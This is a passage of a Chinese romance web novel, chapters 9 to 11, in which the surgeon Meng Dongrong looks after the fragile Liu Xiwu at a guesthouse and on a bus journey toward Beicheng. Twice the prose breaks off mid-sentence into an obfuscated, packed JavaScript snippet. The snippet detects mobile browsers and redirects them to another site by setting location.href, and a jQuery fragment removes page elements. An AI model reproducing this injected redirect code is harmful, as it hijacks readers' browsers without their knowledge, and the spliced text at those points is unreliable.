“没有了,只要让她知道我一切都好就可以了。”柳夕雾终于抬起了眸。 她看着身前的年轻男人,他明明是蹲着的,却让她感受到了如山岳般的力量和心安。 她忽地启唇,轻声问,“你就没什么想问我的吗?”她的声音发着颤,像万丈悬崖边摇曳的枯枝。 “有啊。”男人弯唇浅笑,那仿若藏着春风的笑里蕴着无尽的温柔和包容,“想问你,今天还想吃鱼吗?” 他探身从网兜里掏出个铝饭盒,揭开时蒸腾的热气模糊了眉眼,“托招待所服务员留的,你上次不是说闻着很香吗?今天可以试试了,我特意让师傅减了辣度...” 柳夕雾的眼泪又落了下来。 看着男人用筷子仔细挑去鱼刺,昏黄的灯光在他睫毛下投出扇形的阴影。 她也跟着弯了眼,拿起筷子垂首凑过去,“嗯,闻着还是很香呢,我还以为我没机会吃到了。” 她夹起一块儿鱼,小心地剔去里面的刺,夹到孟冬荣的饭盒里,“孟医生,谢谢你。” 孟冬荣也正好将剔好刺的鱼肉夹给她,两人的筷子几乎是擦着过的。 两人对视一眼,眼中的笑意都更深了几分。 9. 009 “我就在你隔壁房间,招待所的隔音不好,你有事直接敲两下墙壁,我就能听到。” 孟冬荣还是有些不放心,继续叮嘱,“不要一个人出门,除了我也不要给任何人开门。” “嗯嗯。”柳夕雾乖巧点头,掩饰住心里那点儿小小的害怕,“你现在就要回房间了吗?” “嗯,服务员只给我了半小时。”孟冬荣拿起椅子上的袋子,又抬手看了眼手表,“困吗?” 柳夕雾摇摇头,没有问为什么孟冬荣只能留半个小时,她的破绽已经够多了。 “你才喝完药,等药效发挥起来估计就想睡了,先洗漱上床躺着吧,困了就睡。” 无论是招待所还是火车,都是很嘈杂的环境,怕她这两日睡不着,孟冬荣特意换了其中一种药,那个药药效更好,容易发困的副作用对她来说也恰到好处。 听他这么说,柳夕雾竟也真的觉得困了,她的尾音因此变得更软了,像是呢喃,“好。” 孟冬荣莞尔,看向桌子上的钥匙,“钥匙我拿上可以吗?我怕等会儿吵醒你。” “可以。”柳夕雾完全没有拒绝的意思,也没问孟冬荣等会儿要过来干嘛。 她自己可能都没有意识到,除了最后的秘密,她对孟冬荣几乎是不设防的。 这不设防除了对于自己状况的不在乎,更多的是因为信任。 在真正见到孟冬荣之前,她就已经从柳青阳那里对他有了一个“好”的认知,他好到可以让一个心有牵挂的青年毫不犹豫地替他挡刀。 而无论是初见还是这些日的相处,他也几乎每时每刻都能让柳夕雾感受到他的好、他的体贴和温柔。 如沐春风,这是最符合他的词语。 他完全没有这个年纪的男人自带的攻击感,即使他身高腿长,挽起的毛衣袖子也透露了他的有力,但他从不会让人觉得“危险”。 就像此刻,望着他离开的背影,柳夕雾第一时间感受到的,是不舍。 她轻叹口气,环视了一圈这很像病房的简陋房间,心中更生出几分不安。 “咚咚——”忽然,墙壁处传来闷响,柳夕雾猛地转头。 “咚咚咚——”是更舒缓的节奏。 柳夕雾情不自禁地弯了眉眼,轻巧地探身叩响了墙壁,“咚咚——” 听到回应,孟冬荣的眼里也蕴出了笑意,他直起腰,回身打开那几个塑料袋。 最上面的是那件米白色的大衣,售货员已经掸过一次灰,但一想到它在墙上挂了不知道多久,孟冬荣还是去卫生间浸湿了毛巾,又仔仔细细地擦拭一次,才用衣架撑着挂到了窗边。 第二个袋子里是毛衣和裤子,这是要贴身穿的,孟冬荣毫不犹豫地整件浸进了水里,轻柔而仔细地揉搓着。 作为一个外科医生,他很爱惜自己的手,但这里没有那么多热水可以供他用。他也担心不用流动水会有肥皂残留,便也没怎么犹豫地拧开了水龙头冲洗。 太阳已经落山了,春天的暖意也早跟着离开。孟冬荣将洗好的毛衣和裤子覆在提前换来的竹笼上,又用火钳翻了翻铁盆中的炭,确保火力足够烘干衣物。 还有最后一个袋子。孟冬荣的喉结重重地滚了一下,伸出的手又犹豫着收了回来。 他们要在车上待两天一夜,后天到北城大概也很晚了,她的肺炎还没完全好... 像是在说服自己,孟冬荣深吸口气,如临大敌般拿着那个被攥得皱皱巴巴的粉色袋子又进了卫生间。 孟冬荣从来没有觉得自己的手这么笨拙过,他叹口气,第三次拿起滑落的香皂。 孟冬荣将香皂在冷水里浸了浸,指节泛起冻红的纹路。 化纤布料在掌心发出细小的摩擦声,桃粉色蕾丝边蜷缩成含羞草般的弧度,肥皂泡滑过刺绣花瓣时溅起微不可察的水花… 他别过头去搓洗,昏黄灯光下镜面也是模糊的,却仍能看见自己绷紧的下颌线。 医生眼里不能有性别之分。孟冬荣回想第一次上专业课时老师说的话,深吸了口气。 可当视线落在自己手上时,他又猛地抬起了头,与布料相接的皮肤也仿若被岩浆灼过,一路淌到了他的心尖。 将东西铺到竹笼上以后,孟冬荣的耳尖已经有些发痛了,他不敢往床后的墙上看,却不得不注视着竹笼,确保烘干的进度。 得找个阿姨吧,孟冬荣在心里盘算,找个不住家的阿姨,只要负责卫生就好。 这个夜晚,连时间都要走得格外慢些,将最后一件衣物收进袋子里的时候,孟冬荣如释重负地舒展了眉眼。 他拿起桌上的钥匙,走到了隔壁房间。他轻轻敲了敲门,原以为得不到回应,这两个多小时墙那边一直很安静,大概是药效起来了。 不想门内却传来了熟悉的女声,“是孟医生吗?” “嗯,是我。”孟冬荣微蹙了下眉,问,“我可以进来吗?” 柳夕雾本来都已经坐了起来,闻言又回了被子里,看着房间门口,“可以的。” 孟冬荣自己开了门,他已经忘了刚刚的窘迫,有些担心地疾步走到了床边,“不舒服吗?” 柳夕雾抿了抿唇,“没有不舒服。”她只是有点害怕。 孟冬荣却已经探手抚向了她的额,“我看看。” 柳夕雾已经习惯他的动作,甚至还主动侧脸让他触她的太阳穴,“我没事的,等会儿就睡了...” 她的视线停在孟冬荣的手上,他提着一个袋子。 柳夕雾又赶紧看向椅子,没有看到那个本该被她藏起来的东西。 指腹下的皮肤猛地升了温,孟冬荣下意识看向她的眼睛,正好看见她看向椅子。 手上的袋子忽然重若千钧,孟冬荣清了清嗓子,尽量自然地将袋子放到床边。 “这是明天要换的衣物,这里的成衣从工厂出来不知道辗转了多少地方,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281766|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗过才能穿。” 原来刚刚的水声是在帮她洗衣服吗?柳夕雾攥紧了手下的棉被,孟冬荣的声音也像是从很远很远的地方传来的,她甚至觉得这个世界都在莫名其妙地旋转了起来。 “谢谢。”柳夕雾的喉咙发紧,完全不敢抬眼。 她的眼尾都羞红了,衬得眉间红痣愈发潋滟,孟冬荣不自在地收回视线,“不早了,那我先回去了,你早些休息。” 柳夕雾下意识启唇,却只轻声应了,“你也是。” 孟冬荣此刻也不怎么敢看她,自然没发现她的异常,他疾步出了房间,被走廊的穿堂风扑了一脸。 在春夜的寒意里,孟冬荣终于恢复了些理智,他碰了碰自己的耳尖,难得有些沉重地回了自己的房间。 他该向她说一声的,可面对那面墙的时候,他抬起的手却又有些迟疑了。 她是个很害羞也很内敛的姑娘,自己这么做,会不会让她觉得被冒犯? “咚咚咚——”低缓的叩墙声透过不厚的墙壁抵达孟冬荣的耳侧,和他的心跳巧妙地应和在了一起。 “咚咚——”他不再犹豫,曲起食指回应。敲出的节奏一如他的心跳,又急又重。 听到这两声回应,柳夕雾才放下心,她重新躺回床上,视线再一次从床边的袋子上划过。 她咬了咬唇,还是重新坐了起来,探手将袋子拿了过来。 还带着暖意的清香萦上鼻尖,柳夕雾颤着睫将东西从袋子里一一取了出来。 厚实却松软的毛衣、干净垂顺的长裤,还有,被叠起来的、粉色的、只有巴掌大的布料。 柳夕雾几乎快要喘不过气,她的指尖也开始发颤,从袋子里拿出了最后一件东西。 她忍着害羞,第一次认真地看向这个让她心尖发烫的东西。 而等她看清的那一刻,她忽然无比希望能回到今天下午,回到那个热情的阿姨让她挑选的时候。 那她一定会认真地挑选,选择最不起眼的那个,而不是任她拿了眼前这个、衔着花边的、还没有她的手大的东西! 她的脑海里不受控制地浮现起那双如玉般的手被这桃粉色交缠的画面... 门外走廊传来不知谁的趿着鞋走过的脚步声,柳夕雾慌忙用枕头压住那抹桃红。 枕芯里的棉絮硌着下巴,她忽然想起今天下午选这个之前,孟冬荣抱着大衣站在柜台前的模样,通红的耳廓、紧绷的脖颈曲线、回避的眼神... 天,柳夕雾将脸狠狠地埋进了枕头里,心跳如擂。 也许是她的动作太大,身后响起一声轻叩。 柳夕雾仿若听见了男人的声音,语调微扬,“嗯?” 柳夕雾将脸埋地更深,只恨不得自己能从这个世界消失。 但只不过几息,她还是抬臂回了一声,又微微扬声,“我没事儿。” “好。”他几乎是立马就应了声,“睡吧,我在呢。” 10. 010 “夕雾,起来了。”孟冬荣轻轻叩了叩墙壁,正犹豫着要不要再加重些,墙那头就传来了少女带着点惺忪的嗓音,“好。” 两人之间只有一层不算太厚的墙壁,窸窸窣窣的响动几乎是在耳边响起,孟冬荣不再停留,起身走到了窗边,将炭盆上的大衣拿起挂到了小臂上。 他还拿着隔壁房间的钥匙,但今天却选择了先敲门,耐心地等着柳夕雾开门。 他敲得很轻,柳夕雾正倒了热水在洗漱,便没有听见。 一直到她将自己收拾好,却还是没等到孟冬荣过来,柳夕雾这才有些慌,她小跑着到了床边,叩了叩墙壁,“孟医生?” 没有得到回应,柳夕雾又扬声唤,“孟医生,你在吗?” “我在门口。”孟冬荣听见屋内似乎在唤他,赶紧又敲了敲门,“我进来了?” “嗯!”柳夕雾往门口的方向迎了几步,直到那熟悉的身影随着晨光一起映在眼底,才几不可查地吐出口气。 她还穿着孟冬荣的那件外套,鬓发还是湿漉漉的,眼下带着一点乌青,衬得她更多了一分易碎的脆弱。 孟冬荣将小臂上的衣服递了过去,关切地问,“昨晚没睡好吗?” 柳夕雾顺手接过,大衣的表面还沾着晨露的凉,触手又有暖意。 这对柳夕雾来说并不陌生,在以前,她每一件要上身的衣物也都会这样提前被混着香料的炭烘暖。 但现在和以前却又是完全不同的,孟冬荣做这个,大概只是怕她再受凉,而不是希望自己的作品尽量完美、尽量换取到更大的利益。 柳夕雾的喉间忽然泛起一股涩意,她半垂下眸,轻声回答,“睡得很好,你呢?” “我睡得不太好,床有些硬。”孟冬荣没再追究下去,只说,“还好买到了卧铺,我们等下到车上了可以先补会儿觉。” 他总是这样的体贴,柳夕雾看着他自然而然去收拾桌上药瓶的背影,心口最后一点不自在也消失了。 他和她那个世界、甚至和这个世界的大多数男人都是不一样的,她不该用世俗的想法去揣测他。 想到这里,柳夕雾解开了身上大衣的扣子。 “这药喝了会口干吗?”孟冬荣看见桌上新添的药,转头问柳夕雾。 不想回头时正撞见她弯腰去拿床上大衣的样子。 和之前截然不同的是,她今天穿的衣服都是最合适她的大小,大概也是因为这个原因,她的曲线被很好得包裹了出来。 在她回视过来之前,孟冬荣也将视线落回到了自己手上的药瓶,强装镇定地继续,“这个药是我新加的,可能会有口干、嗜睡的副作用...” “没有很明显的不适。”柳夕雾拉了拉大衣衣摆,又将那件陪了她好些天的深色大衣抱进了怀里,“这个要装起来带走吗?” 昨天办出院的时候,孟冬荣问过她的意见后,把好些东西都直接扔掉或者送人了,包括那件已经被补丁布满了的旧裳和一些尚好的、只是买来应急的东西。 他大概也是个很讲究的人,对于要用的东西的品质有不低的追求,而他的这件衣服这几天已经陪着她各种折腾过了。 想到这里,柳夕雾又紧了紧怀里的深灰色大衣,“我可以自己拿着的。” 她这会儿已经不再因为昨晚的事情害羞,便眼巴巴地紧紧看着孟冬荣,见他不答,又追着说了一句,“不丢掉,好不好?”她的尾音软软的,是不自觉的撒娇。 孟冬荣有些哭笑不得,他忍住想抚她发顶的心思,“不丢,等到了火车上,还要给你当被子呢。” “当被子?确实,它可暖活了,很适合当被子。”柳夕雾眉眼弯弯,宝贝地将大衣抱在怀里。 见状,孟冬荣也干脆打消了把大衣装进行李袋的打算。他将桌上的东西都收好,有些犹豫,“那这些衣服也要带回去吗?” 柳夕雾看了眼床头换下来的衣服,也拿不准主意,“我都可以。” “那就不要了。”孟冬荣做了决定,那些衣服带回去他也不会让柳夕雾再穿,还不如留在这里,给有需要的人。 柳夕雾无所谓地点点头,她没缺过钱,也不知道这个世界的物价,根本想不到浪费那头去。 孟冬荣眼里的笑意更深,他看了眼表,“那我们走了?” “嗯嗯。”柳夕雾早就不想一个人呆在这个房间了,她昨晚睡得很不好,不仅是为着衣服的事害羞,更是因为她很怕这种凝滞的黑暗。 刚开始还好,走廊处是有光的、窗外也能听到行人的脚步、交谈声,但随着路灯暗下以后,一切都像是从这个世界消失了。 黑暗变得粘稠,像是沼泽一样涌了上来,柳夕雾几乎一夜都没有睡安稳。 好几次惊醒的瞬间,她都想要叩响墙壁,却又在真正叩响前停下。孟冬荣这些天的忙碌,她是看在眼里的,她不想打扰他。 柳夕雾摇摇头,不愿再想昨晚的事,跟在孟冬荣身后,脚步轻快地下了楼,又在服务员的注视里离开了招待所。 这会儿天色还未大亮,平县的街道上只有寥寥几个行人,但几乎每个和他们错身而过的人都会像那个服务员那样打量他们一眼。 柳夕雾有点儿紧张,这不是她第一次意识到孟冬荣和这里的格格不入,但却是第一次意识到,在外人眼里,她已经成了和孟冬荣一样的人。 一样的人吗?柳夕雾侧头看了孟冬荣一眼,脑海里忽然飞快地闪过一句话:她正在随着他走进他的生活。 “怎么了?是不是有点饿了?”感受到她的视线,孟冬荣也侧头关切地看向柳夕雾,温声解释,“你第一次坐车,我怕你会晕车,所以咱们先不吃早餐了,等到了市里再说。” 和她对视以后,他的态度愈发温柔,“先忍忍,好不好?” 随着他这句话,柳夕雾的注意力也跟着转移到了待会儿要坐的汽车上,“我还不饿,但是晕车是什么?” “有些人坐车会有觉得不适,具体表现为恶心、心烦或者呕吐。”孟冬荣抿抿唇,也有些担心。柳夕雾的身体是真得很虚弱,不仅是感冒导致的肺炎,她身体的底子也很差。 “县里去市里的路还好,弯道不算太多,但有些地段会很颠簸,你等下要是不舒服,一定要和我说。”孟冬荣细细叮嘱。 柳夕雾似懂非懂地点点头,跟着孟冬荣一起穿过了一个两层小楼,到达了一块空旷平地上。 她的视线几乎是立马被那个蓝白相间的大块儿头吸引走了,透过不算明亮的琉璃窗,她看见车里已经坐了不少人,人和人之间挨得很近,很拥挤。 其实有点儿像马车,柳夕雾心想,只不过没有马也没有车夫,只有一排排摆放整齐的套着布罩的椅子。 柳夕雾不自觉放慢了些脚步,她有些忐忑地看向孟冬荣,“我们要在这个车上待多久?” “两个半小时。”孟冬荣安慰地回视,“这段路我坐过,也是这个司机开的,他的技术很好,很安全,不用担心。” 柳夕雾并不担心这个,她知道孟冬荣不会带她冒险。她只是从来没和这样多的人一起这样拥挤地待在一个密闭的空间里,尤其是那些人里许多人已经在有意无意地看向他们。 这让她有些不安,也有些不适。 她往孟冬荣身侧挪了挪,忽地伸手拉住了他,就像昨天下午他拉住她那样。 孟冬荣还没来得及反应,一直看着这边的、带着红袖套的检票人员已经快步走了过来,“喂,你们俩做什么呢?” 柳夕雾被她吓得一颤,下意识想要缩回手,孟冬荣却立马回握住了她,“没事的。” 他将右手上的行李袋放在脚边,从上衣口袋里拿出自己的军官证,“抱歉,她是我妻子,她最近身体不太舒服,我得照顾她,见谅。” 这不是孟冬荣第一次称呼柳夕雾为他的妻子,却是他第一次当着她的面这样说。只短短一句话,孟冬荣的喉结就重重滚动了好几个来回。 他无法自控地侧头去看柳夕雾的反应,却只看见她在晨光下泛着金光的发顶,而她的发尾,已经随着风缠上了他的臂。 她在害怕,她需要他。孟冬荣脑海里复杂的情绪一瞬清空,他用指腹轻柔地抚过她的手背。 他的手很温暖,是令人心安的温度。柳夕雾垂眸看着他们牵在一起的手,心跳逐步平缓了下来。 兼职检票人员的红袖章没看见两人被大衣袖摆遮住的动作,她将信将疑地接过孟冬荣的军官证,打开看了一眼后就还了回去,“行,那你们上车吧,没事了。” “谢谢。”孟冬荣也知道这是对方的工作,要是别的事,他肯定完全配合。 但这是柳夕雾第一次主动牵他,她那样依赖地偎过来,孟冬荣根本不忍她落空,不忍她害怕。 他示意柳夕雾收回证件和票,顶着所有人的注视,淡定地拉着人上了车。 司机早就将头伸出车窗听全了他们的对话,此时还十分热情地指了指自己身后的位置,“同志,这里也能坐。” 孟冬荣笑着对着他道了谢,却带着柳夕雾走到了车厢的后半段,“我们坐这里。” 他让柳夕雾坐到了靠窗的位置,探身替她关上了车窗,才弯腰去安置他们的行李。 这样一个男俊女美的组合早在走进停车场时就吸引了不少人的注意,更何况后半程他们还当着红袖章的面牵着手。 但慑于两人出众的气度,并没有人生出调侃的心思。这会儿见他们又走到了最后面的位置,便也收回了视线。 只有坐在他们附近的人还有意无意地竖着耳朵,想探听这对年轻人的故事。 “睡会儿吧?”男声听起来格外温柔,像是在哄小孩子,“睡着了就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281767|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会晕车了,我把大衣展开给你披上好不好?” 坐在两人前面的年轻女人睨了自己对象一眼,眼里明晃晃写着几个大字,“能不能学学?” 她对象本还有些心虚,毕竟他这个人啥都好,确实是对谁都没什么耐心,嗓门也大。 就在这时,两人一起听到了年轻姑娘的回答,“我这几天在医院休息得很好,还是你先睡吧。我应该不会晕车的,别担心我,我不舒服会叫醒你的。” 女声和她的长相一样令人惊艳,清冷的音色掩不住语调的温柔,糅合出一种独特的动人韵味。 年轻男人立马回视了回去,压着声音和他对象嘟囔,“你也没有这样和我说过话。” 两人相识一眼,都有些讪讪的。算了,他们都不是温柔的人,还是别互相折磨了。 孟冬荣没注意周围的动静,他自从坐下后就有些不自在。即使他其实已经抱过柳夕雾不止一次了,但这样并肩坐着,看着她被自己的大衣包裹着偎在自己身边,竟有种比当时抱着还亲密的错觉。 柳夕雾见他迟迟不说话,眨了眨眼,又问,“好吗?” “好。”孟冬荣回过神,不忍拂她的好意,“那我们一起休息会儿吧,等到了站,乘务员会叫醒我们的。” 柳夕雾松了口气,率先合上了眼,“那我先睡了哦。” 孟冬荣弯了弯唇角,也跟着合上了眼睛。他的五感是比常人敏锐许多的,为此,他当时选择从医还受了不少阻拦。 他感受到身侧的人探寻地看过来的视线,感受到她的视线一直停留在自己的脸上,心跳逐渐加重。 她在看什么呢?孟冬荣忽然好想伸手碰碰自己的脸,他今早应该是将胡子都刮净了的吧... 就在他快要坚持不住的时候,那道视线终于不再那样灼人,他的肩上也多了几分重量。 孟冬荣长呼口气,迫不及待地看向了柳夕雾。 他的视线还是无法自控地先落到了她眉间的红痣上,见到她的人大概也没有谁会先不看这里。 孩童的眉心点红会增添童真意,就像是年画里的娃娃,盈着吉祥的喜气。 菩提的眉心红点则是带着悲悯,传说认为,这是因为她愿意承担众生苦难而留下的法相。 想到这里,孟冬荣忽然有些欣慰。哪怕现在不准宣扬这个,但有这样一颗带着好寓意的痣,她也许就能得到更多的善意... 见她睡得不算太沉,怕自己的视线惊扰到柳夕雾,孟冬荣重新闭上了眼睛。 嘈杂的车厢里,只有他们这处安静到平和。 “哕——”不远处穿碎花棉袄的妇女忽然抱着竹篾筐吐了起来,酸腐的气味随着颠簸在车厢里弥漫开来。 孟冬荣本就只是闭目养神,闻声立刻睁开了眼,正准备伸手去拉垂至柳夕雾脖间的大衣,就见她已经睁开了眼睛,眼里还迷蒙着睡意。 “别看那边。”他侧身挡住柳夕雾的视线,从上衣口袋摸出个铁皮糖盒,“含着这个会好些。” 柳夕雾几乎是下意识的接过、又下意识地喂进嘴里,直到薄荷糖沁凉的甜意在舌尖化开,她才彻底醒神。 “她就是晕车吗?”柳夕雾的声音因为含着糖而变得含糊,“她看起来好难受。” 还没等孟冬荣回复,颠簸突然加剧,柳夕雾不备,后脑因为惯性狠狠朝着车窗玻璃撞了过去。 孟冬荣的手掌抢先垫在窗框上,被撞出一声闷响,他的呼吸几乎是扫过了她的耳尖,“没事吧?” 柳夕雾摇头,也顾不上别的,握着他的手腕要去看他的手,“我没事儿,你的手没事吧?” 知道她担心,孟冬荣主动把手摊开给她看,“没事的。” 如玉的手在阳光的照射下几乎是纤毫毕现,确定只是手背有些红后,柳夕雾的视线就被孟冬荣虎口处的茧完全吸引了过去。 想起他的身份,她触手碰了碰,有些好奇,“你不是医生吗?为什么这里会生这样重的茧?” 孟冬荣觉得一股痒意直顺着茧爬上了心口,他克制住想要合拢手掌捉住她作乱的手的欲望,轻声回答。 “以前和我父亲一起练枪的时候留下的。”他的声音忽然有些艰涩,“重吗?其实这几年已经淡了很多了...” 父亲?柳夕雾刚准备抬起的眸又猛地垂下,她的脑海不由自主地浮现起了那个男人的模样。 娘亲走后,她几乎没见过他几次。而每一次,他唯一分给她的,就是毫不遮掩地、带着明晃晃估价意味的眼神。 而最后一次,是在御花园里,她被人挟着带去了他在的阁楼,而他从始至终也只给她留了一句话。 “你兄长也是为了侯府才做错了事,这次,是你回报我们的时候了。” 她忽地攥紧了孟冬荣的大掌,好不容易生出些红意的脸也倏地苍白了下来。 11. 011 “怎么了?”孟冬荣立马回握住她的手,被她指尖的寒意惊得心颤,“是哪里不舒服吗?” 柳夕雾不知道该怎么问他关于他家的事,也不想用不舒服搪塞他,他一直很关心她的身体情况,她不想再害他焦心。 “只是忽然想起了我的...父亲。”柳夕雾半垂下眸子,似真似假地回答。 孟冬荣闻言却有些懊恼,柳夕雾兄妹很早就失去了双亲,大概都没享受到多少和父亲相处的时光,他不该在这种时刻提及他和他父亲的往事的。 “如果你喜欢,我想我爸爸定会抢着教你打枪。”他忽地开口,“他很喜欢女孩子,听我妈妈说,我出生以后他失落了很久才接受了这个现实。” 柳夕雾有些怔愣地抬眼,对上的就是孟冬荣含着笑意的眼神,“也就是他现在不在北城,不然等他和我妈妈见了你,一定会喜欢得忘了我这个亲儿子。” 她难得有这样呆的时刻,孟冬荣被她逗笑,“怎么?不信呀。” 柳夕雾很想点头,她一直不是个会招人喜欢的姑娘。 孟冬荣已经是她遇见的第一个非亲非故却对她很好的人,这好还有很大一部分原因是因为他本身就是个很好的人。 这样的运气,柳夕雾不相信自己还能有第二次、第三次… 可看着孟冬荣坚定的眼神,她却完全说不出怀疑或者否定的话来,于是只是抿唇笑了笑,掩住心里的不安,“明天我会见到他们吗?” “他们现在在很远的地方,等我们到北城了,可以先和他们通信。”孟冬荣的声音低了些。 “夕雾,我不知道该怎么和你解释他们的近况。也许到了北城,会有人刻意在你面前提起他们,那些话也许会不太好听,但请你相信,他们不是那种人。” 孟冬荣看着窗外,眼神是柳夕雾从未见过的复杂。 他很坚定,坚定地相信他的父母,但又好像很脆弱,脆弱到也许她现在摇摇头,就能击碎他... “我相信他们是很好的人。”这句话,其实柳夕雾自己也不是很相信,她见过太多恶了,她根本不相信孟冬荣的父母会如他所说那般喜爱她。 但她还是注视着孟冬荣的眼睛说了出来。 她不想这么好的孟医生伤心,便也愿意相信,能教出孟冬荣的那对夫妻也是很好很好的人。 后半程,两人都没再说话,却也都没有率先松开相握的手。 “马上到了,都醒醒。”直到乘务员的声音穿透车厢,柳夕雾才微微转了转手腕,将手从孟冬荣的手里抽了回来。 从他人的反应,她大致猜到了,这个世界大概是不允许随意牵手的。 孟冬荣也趁机自然地放开了手,他虽然在米国生活了好些年,但本质还是保留着国人内敛的性格。除了病人以外,也没有和任何异性有过这样亲密的接触,他其实也一直一直很紧张。 而且最重要的是,他和柳夕雾目前还不是夫妻,他不敢保证下次遇见红袖章的时候对方能只看一个军官证就能罢休。 他示意柳夕雾把大衣给他,“我先收起来,现在外面有些热,等到了火车上再拿出来。” 柳夕雾依言递了过去,却还是有些不放心,一直盯着孟冬荣将衣服叠好收进了行李袋,才假装若无其事地收回视线。 孟冬荣侧头掩饰住唇边的笑意,她这个样子,让他想起在医院遇见的那些小孩儿,每到晚上,就会哭闹着要自己的玩偶或者小被子。 他难得生出些调侃她的心思,但转头对上她的眼神后却又说不出话来了。 她大概是很不安的,不然也不会这样依恋于一件衣服,毕竟这件衣服唯一的特别之处,就是在他找到她的那天,帮她挡住了别人的窥视。 她真得吃了很多苦。孟冬荣在心里叹口气,等到下车时,又自然而然地牵起了柳夕雾的手。 市里车站的人要比平县车站的人多很多,几乎是人挤人,但柳夕雾却始终被孟冬荣护在身侧。 他们牵着手从拥挤的车站大厅里挤了出来,又牵着手上了一辆更拥挤的大巴。 这个大巴没有座位,人人都提着大包小包的行李,如果不是倚着孟冬荣,柳夕雾几乎要站不稳。 “这是市里唯一去火车站的公交。”孟冬荣微微低着头,和柳夕雾解释,“北城还会有出租车,但这里只有人力三轮,我想你大概是不愿意坐的。” 他的声音带着笑,柳夕雾顺着他的视线望出去,就看见了一个年轻男人正骑在她在平县见过的那种奇怪的车上卖力地蹬,只不过这次是有三个轮子的。 而他的身后,是一个类似板车的东西,上面正坐着一对年轻姑娘,正手忙脚乱地按住自己翻飞的围巾,而周围路过的人几乎人人都侧目在看。 柳夕雾收回视线,抵着孟冬荣的手臂也抿出了一个笑。他猜得没错,她确实接受不了。 车厢很嘈杂、也很拥挤,各种人和物挤在狭小的空间里,混杂出一种令人作呕的异味。 柳夕雾第一次体会到了孟冬荣嘴里的“晕车”,她现在也心烦到想吐。 一只大手扶住了她的后脑,带着她靠向了他的怀里,他的声音像是从很远的地方传来,却更加清晰,“靠着我,难受了就再吃一颗薄荷糖。” 柳夕雾下意识靠了过去,又犹豫着想要退开,她担心这样会给他惹麻烦,却又不想再面对那纷乱的气味,她根本下不了决心。 好在火车站和车站的距离不算太远,也不过十多分钟,公交车就停了下了。 孟冬荣没急着下,他是个很有计划的人,每一步都会留有充裕的时间,更何况这次还带着柳夕雾,便更是小心。 一直到人走得差不多了,他才去牵柳夕雾的手,“我们先去吃点东西。” 却不想落了个空,他错愕回头,就见柳夕雾将手背在了身后,用下巴指了指窗外的方向,眼中闪过小小的得意。 孟冬荣顺势侧头,就见车外有好几个别着红袖章的人在广场巡逻,还有一个一直在有意无意盯着他们看。 他的眼里闪过一丝无奈,“那你走我前面吧。” 却不想对方早就盯上了他们,一下车就围了过来,“同志,请出示证件和介绍信。” 孟冬荣从容地摸出军官证和两人的介绍信,毫不意外听见对方的质问,“家属关系栏还是空着的啊?” “正在办手续。”孟冬荣的语气冷了点儿,“你可以打电话去我单位核实。” 他刻意施压,红袖章自然不敢和一个团级军官硬碰硬,讪讪退去。 孟冬荣脸上的冷意也随之褪去,侧头望过来的眼神一如既往地温柔,“这里人多,你还是走我前面吧。” 柳夕雾依言,心中却一直想着刚刚那个截然不同的“孟冬荣”,她想起他虎口的那道茧,忽然很想很想看他打枪的样子。 直到两人顺着人流走到了一间写着“国营饭店”的地方,柳夕雾还在想着这件事。 她不知道怎么开口,望向孟冬荣的眼神就变得欲言又止起来。 “想吃什么?”孟冬荣却以为她是饿了,护着她坐到角落的位置,“选清淡些的,等好了再带你吃好的。” 他们俩几乎是一进来就吸引了所有人的视线,即使是在人人都行色匆匆的地方,这样亮眼的长相也值得人分心欣赏。 孟冬荣是习惯了这样的注视的,但他知道柳夕雾不是很喜欢,便坐到了她的斜对面,将她挡了个严实。 柳夕雾仰头看着墙上的菜单,有些苦恼,“我选不出来。” 这个世界的菜单很简单,几乎是把食材明明白白地写出来,但她看不懂这些菜的做法是什么,也更无从辨别哪个是她现在能吃的。 孟冬荣知道她不是在客气,大致看过后就自己选了三个菜,又特地交代服务员,“这些菜里都不要放猪油。” 说完,他自己反而先笑了。这种开在车站附近的饭店,追求的是分量和速度,哪里会舍得用猪油? 他很快回了桌边,顺手接过柳夕雾正仔细擦着桌子的纸巾,“我来。” 见柳夕雾要去倒水,他又赶紧接过,“这个壶很烫,还是我来吧。” 柳夕雾抿抿唇,伸手去拿筷筒里的筷子,却又被孟冬荣抢了过去,“这种竹筷有时候会有倒刺,小心。” 听他这么说,柳夕雾反而按住了他的手,“这个我来。小雨护士和我说过,你的手很珍贵,不能受伤。” 她从孟冬荣手里拿过筷子,学着旁边人的样子搭成十字,有些生涩地滑动。 竹筷摩擦出沙沙的声响,孟冬荣眉眼愈发柔和,他安静地注视着柳夕雾的动作,等待她将完工的筷子递给他。 过去这些年里,孟冬荣没少有这样的待遇。他是一个外科医生,一个杰出的外科医生,他的手可以挽救许多人的生命,所有知道这一点的人都会下意识地保护他的手。 可没人知道,在他回国的第一周,在那个偏远的兵团里,他也被要求着徒手攀到半山坡,去砍一棵无足轻重的枯树。 孟冬荣不自觉地抚上虎口的茧,忽地想起年少时放下枪时父亲的叹息,本来已经模糊的声音在多年后重新变得清晰。 “枪可以放下,但拿枪的本事永远别丢。只有拿枪的人,才能护住想护的人。” “好了。”少女的声音唤回了孟冬荣的思绪,他掩去眸底的深思,抬手接过,“谢谢夕雾。” —————— 火车鸣着长笛在站台停下的时候,柳夕雾已经过了对火车的新鲜劲。 